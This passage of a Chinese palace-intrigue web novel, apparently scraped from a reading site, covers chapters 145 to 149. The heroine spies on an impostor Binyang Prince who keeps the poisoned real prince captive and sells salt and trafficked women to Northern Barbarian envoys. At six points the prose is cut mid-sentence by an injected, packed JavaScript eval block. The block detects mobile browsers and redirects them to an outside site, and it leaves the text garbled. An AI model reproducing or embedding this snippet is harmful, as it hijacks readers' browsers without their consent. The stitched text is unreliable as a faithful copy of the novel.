紧接着崔逐风又把另外几个人都带了进来,众人藏在假山堆里,十分新奇的左顾右盼。 “这里就是滨阳王府啊。好,好萧瑟……” 本来还想夸夸的百衣淳顿了顿,说出口的话直接拐了个弯儿,意思全变了。话说她三年前来过王府,那时候的王府还不是这个样子。难道前院和后院的差别就这么大吗? 王府的花匠玩忽职守啊这是。 “一般情况下,就算王爷不喜欢逛园子,这园子也应该被整理的妥妥当当,以备主人心血来潮闲逛。所以滨阳王,大概是真出事了。” 魏渊在宫廷中生活的时间很长,也因此对这其中的弯弯绕绕十分了解。就算滨阳王不喜欢逛园子,这里也不应该如此萧瑟,唯一的解释就是这里已经很长时间没人来过。而如果主子健在并且完好,府中绝不敢这般玩忽职守。 原来如此。 九阙几个仔细想了想,还真是这样,那他们得赶紧找到滨阳王啊。如今这情况,他们怎么找那位王爷? 想了又想,九阙最后拍板! “不管滨阳王有没有出事儿,整个王府他的守卫必定是最森严的。要么是给自己的保障,要么别人把他囚禁起来,总而言之,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501297|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去找守卫最森严的地方就对了。” 众人也很赞同,于是大伙儿各显神通,分散开来不过片刻,就各自有了答案。魏渊和百衣淳都是一等一的好手,外面守卫森严而且目标明确,他们飞不进来,但是这王府占地面积太大,而且房屋景观众多,他们藏匿其中寻找守卫最森严的地方倒是不成问题。 “东北角的一处小院,那边里三层外三层围满了人,就算里边儿不是滨阳王,也是个重要角色。” 众人给出的答案都一致,于是目标就很明确了。九阙直接被崔逐风背在了背上,魏渊和百衣淳两个武艺稍差些,就只能做扰乱对方的工作了。 九阙十分配合的屏住呼吸,几乎不敢左右看,只觉得脚下生风。不多时,只听到耳边一声凄厉的猫叫,那守卫森严的小院子顿时动了起来,隐隐约约还有声音传出。 “哪里来的猫?快把它抓住!主子吩咐过,就算是一只苍蝇进出这间小院子,也要打死!” “快快快!别让它跑了。” 竟然连只猫都不放过吗?这背后的主子也太过谨慎了吧。 九阙还没来得及吐槽,那间东北角的小院周围守着的侍卫分出了三分之一,朝着猫跑走的方向追去。这就已经足够了,崔逐风一 踩旁边那棵枝叶繁茂的大树,两个人如同空中落叶一般轻飘飘的飘过去,落在了屋顶上方。九阙本来还想学着见过的情况趴在屋顶上听屋子里的动静,但崔逐风直接拎着她顺着打开的窗子溜了进去,还没反应过来的时候,九阙就发现自己已经站在了屋子里的房梁上。 只要一低头就能看见下面的人! 哇!这简直是,简直是太刺激了! 九阙一脸兴奋,但很注意呼吸节奏,一双乌溜溜的大眼睛转来转去,将屋里的情况看了个全乎。 这屋子里人不多,最中间的床上躺着一个高大的男人,这人紧闭双眼,面色惨白,对外界的情况似乎神鬼不知。 第一百四十五章 真假滨阳王 这过于惨白的脸色很容易让人联想到不好的事情,还有就是,这男人,是传说中的滨阳王吗? 九阙一时间分辨不清,只能回头去看崔前辈。崔逐风神色凝重的点了点头,这确实是滨阳王,但是多年前在战场上所见意气风发英姿飒爽的男人怎么会变成如今这种苍白无力,瘫倒在床的模样? 果然,跟着九阙一探滨阳王府是来对了。如果不是这心血来潮的探查,就连崔逐风都以为当年那个热血满怀意气风发的少年郎变成如今贪婪自私毫无底线的权贵了。 果然是滨阳王,九阙不自觉的皱了皱眉。所以这滨阳王到底什么时候变成如今这般醒都醒不过来的模样?如果是从三年前开始,那恰巧和胡锦穗所说的时间符合。 就在九阙苦苦思索的时候,吱呀一声,有人进来了。 那是个步履沉稳,身形修长的男人,当停在床前看清他大半张脸时,九阙忍不住睁大了双眼,如果不是亲眼所见,她也不会相信这世上竟然会有长得如此相似之人。是的,没错,刚刚从外面走进来的男人竟然和躺在床上的滨阳王有着一模一样的脸! 所以这两个滨阳王哪个是真?哪个是假? 进来的男人眼神复杂的盯着床上和自己长得一模一样的人,他的眼神实在太过幽深复杂,以至于看不清里面究竟装着什么情绪。 过了许久九阙听到他的长叹。 “滨阳王一世英名,如今竟也躺在床上丝毫不能动弹。可见这人啊,不管如何尊贵,只要被抓到松懈之日就是毁灭之时。你如果现在醒来看看外面的世界,估计会恨不得要把我一刀砍死吧。可谁让你中招了呢?” “主要还是你太不识趣了,王爷,你驻守盐城,盐城这白花花的盐,可是白花花的银子。你守着这巨大的宝藏,却不允许别人伸一伸手,大家怎么可能同意呢?这世上之事可不是非黑即白。如果当初你同意合作,如今就不会像具尸体一样躺在这里。只能听到却无法睁开眼睛的感觉怎么样?说实话我也觉得震惊。这种残酷的刑罚你竟然能支撑三年之久,如果我是老皇帝都要为你感动了。但是很可惜他并不知道盐城发生了什么,或许有朝一日这里的事爆出去。他会对你这个罪魁祸首感到失望……” “兰芝当庭,虽芳香四溢,却不得不除。景潮生,你太碍事了。” ‘滨阳王’低头给那个无法睁开眼睛的男人捏了捏被角,动作很轻柔,但说出口的话却能让人坠入寒冰地狱。 “更何况这也是我的一点儿小小私心,如果不是你,如果没有你!我怎么可能遭受这么多年的痛苦?为了能变得跟你一模一样,你知道我受了多大的罪吗?削骨切肉,那滋味太难熬了,我没办法报复其他人,就只能搓磨你了。谁让我痛苦的时候,不管如何喊叫都没人来救我?你也要体会我那时候的滋味!” 或许对自己的守卫相当自信,这位滨阳王自言自语了许多,倒是给九阙解答了一些疑难。 看来滨阳王确实被人取代了。就是这个取代对方的假货,听他的意思,好像并不是真正的罪魁祸首?这怎么还一环套一环呢!之前黔州血矿山的幕后黑手还没找到,如今又蹦出来一个。等等,这中间不会有什么联系吧? 九阙越想越觉得可疑。 就在这时候,外面传来守卫通报的声音。 “王爷,刚刚有只黑猫误闯,属下们已经前去抓捕。” “误闯?怎么会有这么巧合的事啊?你确定只是误闯进来一只黑猫?” 九阙顿时一凛,她们不会被发现了吧?正紧张着,感觉自己的手被轻轻捏了一下,转眼看到崔前辈安抚的眼神。 看来是没被发现,不过底下那个假王爷倒是敏锐谨慎的很啊,连这么点儿小动静都不肯放过,怪不得整整三年都没人发现异常。 而外面的侍卫被这样一反问,顿时也有些不放心,紧张的开口。 “属下这就去再查!” “等等。” 也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501298|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道这个假王爷想到了什么,竟然出声阻止。他慢条斯理的整理一下袖子,脸上竟然迸发出个诡异的笑容。 “不必去了,看来是只迷路的小野猫。天可怜见的,大概吃都吃不饱,不用管它。你们继续驻守在自己的岗位,别轻易离开。” “是!” 等外面安静下来之后,这个假王爷低头看着滨阳王惨白的脸,得意的笑了。 “你瞧,我只是说句话,他们就如此顺服。原来这就是权势的滋味,可怜我前十几年竟是只阴沟里的老鼠,连权势的边都没摸到,就已经沦为了牺牲品。但现在,我已经不是那只没见过世面的老鼠了。做了这么多年的棋子,我要做执棋人。” “王爷,你就继续安静的待在这里,等着外面的天翻地覆吧。” 说完这句话,那个假王爷一甩袖子,转身走了几步,九阙还以为他要离开,没想到他直接坐在前面的椅子上,竟是要与真正的王爷同吃同住。 这得是多强大的心理素质啊! 崔逐风戳戳九阙,现在要不要直接把这个假王爷拿下?毕竟这屋子里就假王爷一个会动弹的,而且没有武艺在身,好拿捏的很。九阙犹豫一下,用眼神点了点 假王爷手中正在查看的账本。 或许有意外收获。 九阙的眼神不错,这或许要得益于她那位百步穿杨的母亲。这会儿很轻易的看到假王爷手中翻看的账本上所记载的巨大流水。 怪不得有人说掌握了盐矿就掌握了天下经济命脉。如今这个商业不发达的时代,每个人都必须吃的食盐,当真是无可替代的必需品。更何况盐城出产全天下八成以上的盐,就算只涨价一分,累积起来也是一笔巨大的数字。更何况这三年来盐城所卖的食盐又何止涨价一分?翻了三倍都多。 那本账册所记载的流水大多数涌入了京城,里面有几个眼熟的名字,似乎都是京中的高官。只是当眼神落入其中一个姓名上时,九阙悄悄倒吸一口凉气。 第一百四十六章 祸事来了 这几桩案子之间果然有联系! 假王爷在盐城积累的大量财富,竟然当真和皇子有勾连!九阙简直想为老皇帝鞠一把同情泪了,他这是什么运气?!生的这几个皇子才刚折进去一个,这又牵连进来一个。一共四个皇子,就没有一个好的吗?想起老皇帝堪称慈祥的表情,九阙就忍不住想叹气。或许真的是时运不济吧,九阙也是真的无法理解,这个天下不是姓景吗?那几个皇子究竟为何要挖自己家的墙脚?这贩卖私盐,最终连累的还是大景皇朝,损害的还是大景的利益啊! 这些皇子们为什么就是不明白呢?! 然而悲愤归悲愤,九阙还是悄咪咪将那份名单记在心里,通过梁恒的事儿他算是明白了,有时候强行逼供无法达到最好的结果,不如让他们自乱阵脚,或者让他们以为一切正常,更多的线索不就浮现出来了? 果然,在整理完刚收拢来的大量金银之后,假王爷轻吁一口气,转而懒洋洋的随手拿起一本账册,另一只手拿起一支笔,随意勾画了几下。因为这时候假王爷换了个姿势,九阙看不太清,又不敢在这个时候弄出动静,好生郁闷。倒是旁边一直比较安静的崔逐风,此刻突然皱眉,虽然没有发出任何声音,但九阙却很清晰的感知到,崔前辈现在很生气。 这个假王爷刚刚做了什么才会让崔前辈脾气这么好的人都生气? 虽然很好奇,但九阙还是忍住了。假王爷在这间屋子里很放松,完成刚刚那本不知道写了什么东西的任务后,甚至靠在宽阔的椅背上,闭目养神,几乎要睡过去了。或许是在心里默认这是属于自己的地盘,姿态相当悠闲。 说实话九阙有些无法理解对方的行为,要是真正的滨阳王清醒过来,就这个假王爷的体格子,都不够人家一拳揍得!他就不怕什么时候睡着了就再也醒不过来? 九阙这会儿给崔逐风一个眼神,要不要现在就动手?对方现在这个悠闲地姿态,九阙有十足的把握让他发不出声音就被控制住。反正之前在梁恒府中就已经试过一次,相当顺畅。 但崔逐风却给了九阙一个稍安勿躁的眼神,朝着门口的位置点了点。下一刻,外面传来小心的通报声。 “王爷,王爷?赵将军有事求见。” 假王爷迅速睁开眼睛,眼神在极短的时间里恢复清明,简直不像个睡着了的人。 他快速起身整理了一下自己的衣服,将桌面上的几本账册塞到桌子下面,然后淡定开口。 “进来吧。” 只不过九阙敏锐察觉到这位假王爷的心情并不像表面上那么平静。他好像对即将到来的人并不欢迎,难道因为对方打扰了他的睡眠?那这个罪名也太扯了吧。 下一刻门扉洞开,大踏步走进来一个急匆匆的身影,正是九阙他们才见过的赵将军。 这位赵将军一改在他们面前趾高气昂,高高在上的姿态,此刻那张勉强算得上俊朗的脸上满是焦灼。 “王爷!探子来报,之前在黔州大闹一场的那个女钦差往京城方向去了,而且和上供进京的队伍一起,说不定会路过咱们盐城!” “慌什么?就算真的来到盐城,咱们热情接待就是了。何必摆出这么一副慌慌张张的嘴脸。” 假王爷漫不经心的瞥了赵将军一眼,赵将军根本没看到对方这眼里包含的嫌弃等复杂情绪,只是坐立不安的在原地转圈儿。他反倒是比‘滨阳王’还要在意了。 ‘滨阳王’十分看不上对方这种遇到事情就自乱阵脚的行为。如果每个人都像这个姓赵的这般没用,他们做下这杀头的事儿,早就怕死了。但现在留着这姓赵的还有用,一时间没办法处理。只能留着继续碍眼了。 门口守着的侍卫已经十分自觉的将门关上。‘滨阳王’盯的赵将军默默发现不对劲,安静下来才慢条斯理的开口。 “慌什么?这里可是咱们的地盘儿,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501299|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个外来的钦差,在黔州搅弄风云能活着出来,已经是侥幸。还不是那个姓梁的太过自大,把手底下那群官兵养的居高自傲。他若是不把下边儿的百姓逼得走投无路,怎么可能会翻天?他又怎么可能会死在那群低贱的平民手里?归根结底是他太过没用,你可听说咱们盐城这些年传出过什么不好的消息?” “盐城的盐比黔州的朱砂重要的多,人可以不吃丹药却不能不吃盐,这个道理你难道不知?” “这,这我当然知道!可听说那个女钦差有陛下亲赐的打神鞭,有先斩后奏之能!而且那个姓应的根本就是个疯子!连自己的亲爹都能不管不顾,还说什么除族,那就是个疯的。咱们虽然不怵,可小心点儿总不为过。” 赵将军说的这些‘滨阳王’自然知道。虽说有点儿看不上对方这点儿小心翼翼,可‘滨阳王’也清楚,这种多事之秋,再怎么小心都不为过。 而且那个女钦差还真是个大麻烦,要是以往的钦差,听说他背后主子的名头,谁还敢不挠不休的追查?再不济,送上大量的金银财宝,甚至美人足矣。毕竟他们手里流通着的美人可是经过严格选拔的,每一个都国色天香,柔媚无骨,足以让每个男人沉浸在温柔乡里,至死方休。 可这个钦差是个女的呀,以往培养出来的那 些美人失去了用场。等等!他们培养的美人也不是没有男子,说不定可以送上去几个,就算在身边服侍着打探点儿消息也行啊。 现在就是看对方肯不肯收下了,毕竟如今这世道,男人跟女人还是大不相同的,男人收下两个服侍的女子,传出去不过是桩红袖添香的雅事,可未出阁的女子身边要是平白无故多的两个美貌男子,那动辄可就是口诛笔伐的大罪。 啧,女人就是难搞。 不过也不是不能试试…… 毕竟那女人都能当钦差,千里迢迢到黔州那偏远地方暗访了,肯定和普通女人不同。 第一百四十七章 赵篝 正思索着该如何不动声色的将美男子送给九阙的‘滨阳王’并没有发现自己口中的主人公就在头顶的房梁上,他甚至还相当不动声色的叹了口气,十分遗憾。 “真是可惜,也不知那位钦差喜欢什么类型的美人,不然也能让她通融一二。” 赵将军对此相当反感。 “那可是个女人,你给一个女人送美人?” “怎么?感到不舒服了?” “不是,这天底下哪有给女人送美人的?这不是胡搞吗?女人应当以谦卑柔顺为主,像百衣淳那样的女人,一个已经够多了,难道还要再出一个?” “嘁!” ‘滨阳王’看着面露厌恶的赵将军,心底有些不屑。只有无用的男人才会希望这世上所有的女人都谦卑柔顺,不然还不得踩在他们头上?可姓赵的也不瞧瞧现在是什么时候?!别说那位钦差是个女人,哪怕她不是人!底下这些官员还不是得照样捧着敬着? 而且据说这位女钦差十分得景泰帝信任,这就已经很厉害了。别管人家用的什么法子,普天之下想要得到皇帝赏识信重的臣子不知凡几,可真正能做到的又有几个?私底下埋怨的,都是自己没本事得到陛下信任的失败者。 这种酸唧唧的想法就别在他面前显摆了。谁还不知道谁呢? “先不说能不能把人送过去,若是真能把人送过去,你还要这般态度?别忘了你的身份。如今若是盐城引起那位钦差的注意,事情一旦败露,你我都得死。你可别忘了这个钦差和以往的不一样,她是哪怕不顾自己的官途性命,也要把属地搅的天翻地覆的那类人。我们跟她可没有分毫交情。如果不来也就罢了,如果她真来了你还是这副死样子,就别给我出去丢人现眼。” “你?!” 赵篝不敢置信的抬眼看了一下‘滨阳王’,在他的印象里,他和这个假王爷分明是平起平坐的。对方怎么敢这么对自己说话?他就不怕自己把这件事儿爆出去? 或许是看透对方心里在想什么,假王爷几乎要嗤之以鼻了。 “怎么?听见我说你还不敢相信?你得知道,不管我到底是什么身份,现在在外人眼里我是王爷,你只是个小小的将军,而且还是完全依托我存在的将军。只要我一声令下,你手里的权利都会被拿走。你还敢这么跟我说话?滨阳王的大侄子?” 果然听见这话,赵篝的表情顿时就是一变。他实在没想到这个假王爷竟敢这么直白的把话说出来,虽说他隐隐约约间察觉到面前这个并不是真正的滨阳王,可对方就这么明目张胆的说出来,难道就不怕吗?万一这动静被别人听到,他就不怕死? 看着对方慌乱的模样,‘滨阳王’都不想多看他一眼,这么多年过去,姓赵的还是这副模样,没有丝毫长进,怪不得只当了一个小小的六品将军。就这还是托了他身份的缘故,只是可惜啊,那位顶天立地英明神武的滨阳王竟然从未想到自己真心以待的大侄子背地里竟会卖主求荣吧? 不过话又说回来了,这年头,心怀正义,善良正直的人反而活不长久,反倒是像姓赵的这种卑鄙无耻小人越活越滋润,因为他不要脸啊。只要丢弃脸面和善良正义等等无用的东西,怎么可能不青云直上?就像他,不也是丢掉了自己的脸,才做到盐城这万万人之上的地位? “你说这些干什么?事情都已经过去了,何必再提起?” “呵。” ‘滨阳王’不再跟他废话。 “既然知道事情已经过去,就别再惹我。密切关注盐城外经过的进贡队伍,若是发现有疑似人选,给我收好你的脾气,毕恭毕敬的把人请进来,不管你心里怎么想女子当官,要是敢在面上表露出来对女子的不屑鄙夷,惹得那位女钦差不满……你就等着以死谢罪吧。” “……知道了。” 赵篝典型的欺软怕硬,本来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501300|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他可以假装自己不知道,偶尔还对‘滨阳王’耍耍脾气,毕竟整个盐城都知道他是宾阳王最宠爱的大侄子。可当这位假王爷把一切都挑明之后,他反而害怕了。 虽说以前的滨阳王对他较为重视,可这一切都建立在景潮生没有娶妻生子,没有自己的亲生孩子的前提下。若是他娶妻生子有了自己的亲生子,哪里还会把自己这个十万八千里远的大侄子放在眼里? 而他已经享受惯了在盐城说一不二的日子,实在不想看别人的眼色过活。而且他这些年由于太过嚣张跋扈,明里暗里不知得罪了多少人。若是失去了这层身份,谁知道那些人会不会在背地里算计自己。而他的叔父滨阳王确实是个好人,但问题就在于他太好了,太善良太正直!若是他犯了罪,哪怕是他的亲侄子也照罚不误! 这样提心吊胆的日子他实在不想再过。所以在发现异常的第一时间,赵篝不仅没有揭发这个行为略有出格的假王爷,反而心照不宣的帮忙隐藏。就连他也不知道自己那时候为什么会鬼使神差做出这样的决定,如今想来虽说有些后悔,但如果再来一次,他还是会做同样的选择。 总而言之,他就是个自私的胆小鬼。像他叔叔那样光明伟大正直的人,只适合远远观摩,不适合近距离接触。 揣着复杂的心情,赵篝快步 离开。而‘滨阳王’露出个复杂的表情,然后紧走几步越过屏风,来到屏风后那张床前。他似乎已经习惯了独处时对着真正的滨阳王自言自语的日子,这会儿十分熟练的对其进行嘲讽。 “看吧,这就是你之前最疼爱的侄子。说起来,在我没来之前他就已经对你不满了吧?可怜你这个当叔叔的竟然一点都没察觉。真是可怜啊,名满天下的滨阳王竟然会被自己的亲侄子背叛。这要是说出去谁会相信呢?毕竟你之前对他有多好天下皆知。据说你还想把爵位传给他?啧啧啧,终日打雁竟被雁啄了眼,你这也算自作自受吧。” 第一百四十八章 货物 “毕竟像我们这样的人根本无法理解这天下竟有人不把权利当回事儿。” “难道因为你们这群人生来就有居高无上的地位?可我怎么记得你当初也是穷苦人家出身?穷人乍富不是应该得意忘形?可你却和以往一模一样。我都奇怪了,难道你是天生的圣人?” ‘滨阳王’自言自语,而躺着的真王爷自然是给不出回应的。他此刻眉头紧皱,像是陷入了一场无法醒来的噩梦。事实也的确如此。因为身体中了特殊的毒药,哪怕能清楚的听到外界所有动静,依旧给不出任何回应。 而这样的日子,他已经过了整整三年。 ‘滨阳王’伸手整了整真王爷被汗弄湿的头发,他的态度也真够奇怪的,面对真正的王爷,他这个冒牌货不生气不紧张不害怕,反倒有一种惺惺相惜的感觉。或许是因为这三年里他只有和真王爷相处的时候才能毫无顾忌的吐出真心话,因为他知道床上躺着的滨阳王无法对外界给出回应,他就是个最好的用来倾诉的树洞。 这样的日子可真是不错啊! ‘滨阳王’几乎都要惬意的喟叹了。不过短暂的放松之后,他又重新打起精神,他这个假王爷可不只是个招牌。整个盐城的所有事物都要经他的手处理,此刻他还有件最重要的事儿。 轻轻拍了拍手,外面悄无声息的走进一个训练有素的婢女。 “偏院的人安置好了吗?” “是。刚才还在请见王爷。王爷是否要见他们?” “让他们过来吧。” “是。” 九阙本来想立即动手,但是听到这段对话顿时停了下来,她倒想瞧瞧这个假王爷还想见谁。 片刻过后,外面传来不小的喧闹声,九阙敏锐察觉到其中夹杂着几句异族话,眉头顿时紧蹙。这几句话听着莫名有些耳熟,这是…… 一旁的崔前辈用食指指了指北边儿的方向,九阙顿时了然,竟是北蛮人?这个假王爷不仅和朝中皇子有所勾结,还和北蛮人有联系?九阙突然想起,北蛮那边并不盛产食盐,每年都要靠高价收购。他们之所以侵略大景边界,有一大部分原因正是因为他们缺少食盐。这人不吃盐就没力气。再加上北蛮那边天气恶劣,冬季时间过长,没有足够的盐,很难熬过漫长的冬季。正是因此,大景对北蛮食盐的输送一直严格把控。可现在依旧与大景交战的北蛮人到底是怎么出现在盐城的?他们之间到底勾结几年了? 这可不是简单的皇子之间的争名夺利,稍有不慎这就和卖国牵扯到一起了。九阙耐下性子安静等待,果然,外面的喧闹很快就被解决,几个穿着大景服饰的高大男人大步走了进来。他们或许因为刚刚的小插曲心怀不满,这会儿好几个鼻子都在剧烈喘气,好像生怕别人不知道他们不高兴似的。 为首的那个北蛮人言谈举止倒是文雅些,如果不是那张颇有异域风情的脸和微蓝的眸子,就真的和大景人一般无二了。 不过他也没有管制自己身后那几个略显粗鲁的同族,只是用那双蔚蓝的眸子将这间房屋左左右右的到处查看一番,然后目光落在那扇屏风上,脸上逐渐露出个微妙的笑容。 ‘滨阳王’一点都不带漏怯的,他慢条斯理的用食指敲了敲桌子,发出的哒哒声吸引了那几个北蛮人的注意。 “几位远道而来不是为了和我生气的吧?” “……那是自然。尊贵的王爷,我们此次前来是想继续和您交易。您这里生产的食盐是整个大景甚至全天下最好最精纯的,我们的子民尝过之后都念念不忘。不知今年能匀给我们多少精盐?我们的王也很期待。” ‘滨阳王’面对这番连消带打柔中藏刚的话,根本不在意。他甚至还面无表情的开口。 “每年的交易数量都固定不变,你们何必再来一次?若是被发现你们北蛮人的身份,只怕要有来无回了。” “尊敬的王爷,您也知道如今咱们两边都在打仗,大景没有商人愿意把食盐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501301|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖给我们,我们也只有舔着脸来求您了。若不是情况紧急,我们也不敢孤身深入。毕竟你们大景的皇帝对我们的意见大的很。” “你们贸然前来,没有提前通知,更没有得到允许。这是求人的样子?” “……” 为首那个蓝眼睛的北蛮人眯了眯眼,缓缓站直身子,脸上的表情依旧谦卑,甚至语气也没有变化。但说出口的话怎么听怎么觉得奇怪。 “王爷,您这是不准备帮我们了?如果真是这样,我会很伤心的,我身后那二十万铁骑都会很伤心,因为没有食盐能增长他们的力气,满足他们的马匹。我们以往形成的友好合作只怕也要改变,王爷当真要这么做?您决定的了吗?” 如果前半句只是试探,那后半句就图穷匕见了。显然对面的北蛮人对‘滨阳王的怀疑已经不是一日两日。 ‘滨阳王’被试探了一番,倒也不觉得生气,他只是思索片刻,不太满意的开口。 “今年的食盐数量不会改变,盐湖盐井的产出只有这么多。除去供给京城以及天下郡县的,剩下的几乎全给你们了。那些盐工又不是木头,就算他们一天十个时辰都在挖盐炼盐,能弄出来的盐也就这么多。” 说完不等对面脸色大变的北蛮人开口,‘滨阳王’状似无意的表示。 “不过今年其他货可以多些。” 为首的北蛮人此刻表情倒是没什么变化,显然他在来之前就知晓‘滨阳王’不会同意他增加盐量的要求,这会儿也不觉得奇怪,只是语气轻佻。 “哦,其他货?难道王爷所说的是那些年轻女子吗?” 九阙微微眯起了眼。原来无忧洞的生意还做到了盐城,所以整个天下还有哪里是这些胆大包天之人没有去过的? 他们大景的无辜女孩儿就这么被本国人卖到异国他乡,而且还是有世仇的北蛮?! 眼前这可真是一场‘举世无双无与伦比’的‘闹剧’!简直荒谬! 第一百四十九章 死都死不安生 “说起来明明都是娘生父母养,可你们大景的女子就是要比我们那边的柔软许多。难道就因为生在这富贵之地,这片土地上长起来的女子天生就比我们那边的要好?又或者是王爷怜惜我们那里女子数量稀少,特地将这个国土上最鲜嫩最好的女人送给我们了。” “……说话正常点。” 对方说话的样子太过油腻,令人作呕。而且他说起那些女子并不像个人,反倒像到糕点似的,可以随意拿捏。 ‘滨阳王’十分反感对方的语气。他心里不高兴自然会表现出来,对面那个北蛮人假惺惺的道歉。 “真是对不住王爷了,谁让我是个粗鄙之人,不过王爷当真愿意提供数量更多,质量更好的女子给我们?” “我没说都是女子,我们这边的货物,茶叶、丝绸、铁器,你有哪样不想要?不必非得局限在女人上。难道大名鼎鼎的左亲王是个会沉迷于温柔乡的好色之徒?” 如果当真这样,对方也不必跟自己说话了。‘滨阳王打从骨子里看不起这样的人。 对方连忙摇了摇头,嘴上占点儿便宜根本比不过真金白银的利益。若是当真惹恼对方,谁知道他还会不会把那些东西卖给自己?虽说这位左亲王一直都很怀疑‘滨阳王的脑袋是不是有毛病,不然也不会和他们打生打死之后竟然心平气和的与他们交易。 说起来他虽然是第一次踏入大景的国土,可当初在战场上也是见过滨阳王的英姿的,对方有这么瘦弱吗?当然,他也听说这位王爷近年来生了一场大病,身体不好。瘦弱些貌似也理所当然。可他怎么看怎么觉得奇怪。难道人生病之后当真会与以往完全不同?面前这人看起来就是个普通的男人,根本没有那种在战场上大杀四方的霸气。或许是这平静的生活当真会磨灭一个人的心气神? 眼神闪了闪,这个男人笑眯眯的开口。 “王爷,或许你已经不认识到我了,但十年前您在战场上的英姿我至今无法忘记。那时候您单枪匹马就将我方五十名英勇的骑士击溃,那杆沾染了太多血腥的长枪在我们草原谁人不知谁人不晓?这么多年过去我心里一直有个遗憾,如今见到王爷,这个遗憾或许能够满足了。” 说到这里他故意顿了顿,果然看到对面那个稳坐高台的男人皱了皱眉,这个北蛮人咧开嘴,露出白森森的牙齿。 “我想请王爷同我一战!” 现场顿时陷入一片死一般的安静。 就连那个北蛮男人身后的同族都惊讶的看了他一眼,显然这个提议完全是临时起意,事先并没有商量过。不过北蛮人向来好战,听到这个提议的同时,本就不爽还得隐藏身份的北蛮人顿时兴致高昂。 其中一个甚至还用力挥舞手臂。 “好!左亲王和‘滨阳王的对战一定相当精彩!怎么样啊王爷?你愿意与我族最英勇的左亲王一战吗?” “来战,来战!” 那几个北蛮人的起哄声难免让人心烦。‘滨阳王’有些不耐烦的看了他们一眼。就连九阙都能看出来他的抗拒,是了,这个假王爷想必不通武艺,而‘滨阳王的战力在整个大景都赫赫有名。所以说与假王爷合作的北蛮人并不知道这是个假的? 不由得将目光投向昏迷不醒的滨阳王。即使她来这个时代的时间不长,但这一路从百衣淳口中也得知这位滨阳王当初有多么勇冠三军。可以说,他和应重鸣就是当初战场上最明亮的双子星。像这样的人对北蛮的恨意自然深厚,只是没想到,兜兜转转许多年,他竟然被迫和北蛮合作,将自己国家的资源和无辜女子输送到遥远荒凉的北门。 即使在昏迷中无法挣扎着醒来,真正的滨阳王也忍不住皱眉。他试图从那昏暗的地狱中挣扎着钻出来,可那身体内部无处不在的毒素却深深束缚着他,叫他无法挣脱。 只能亲耳听着最厌恶的北蛮人在大景的土地上大放厥词,他却无能为力,这样的痛苦不是一般人能承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501302|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受得了的,而这位滨阳王已经整整熬了三年之久。 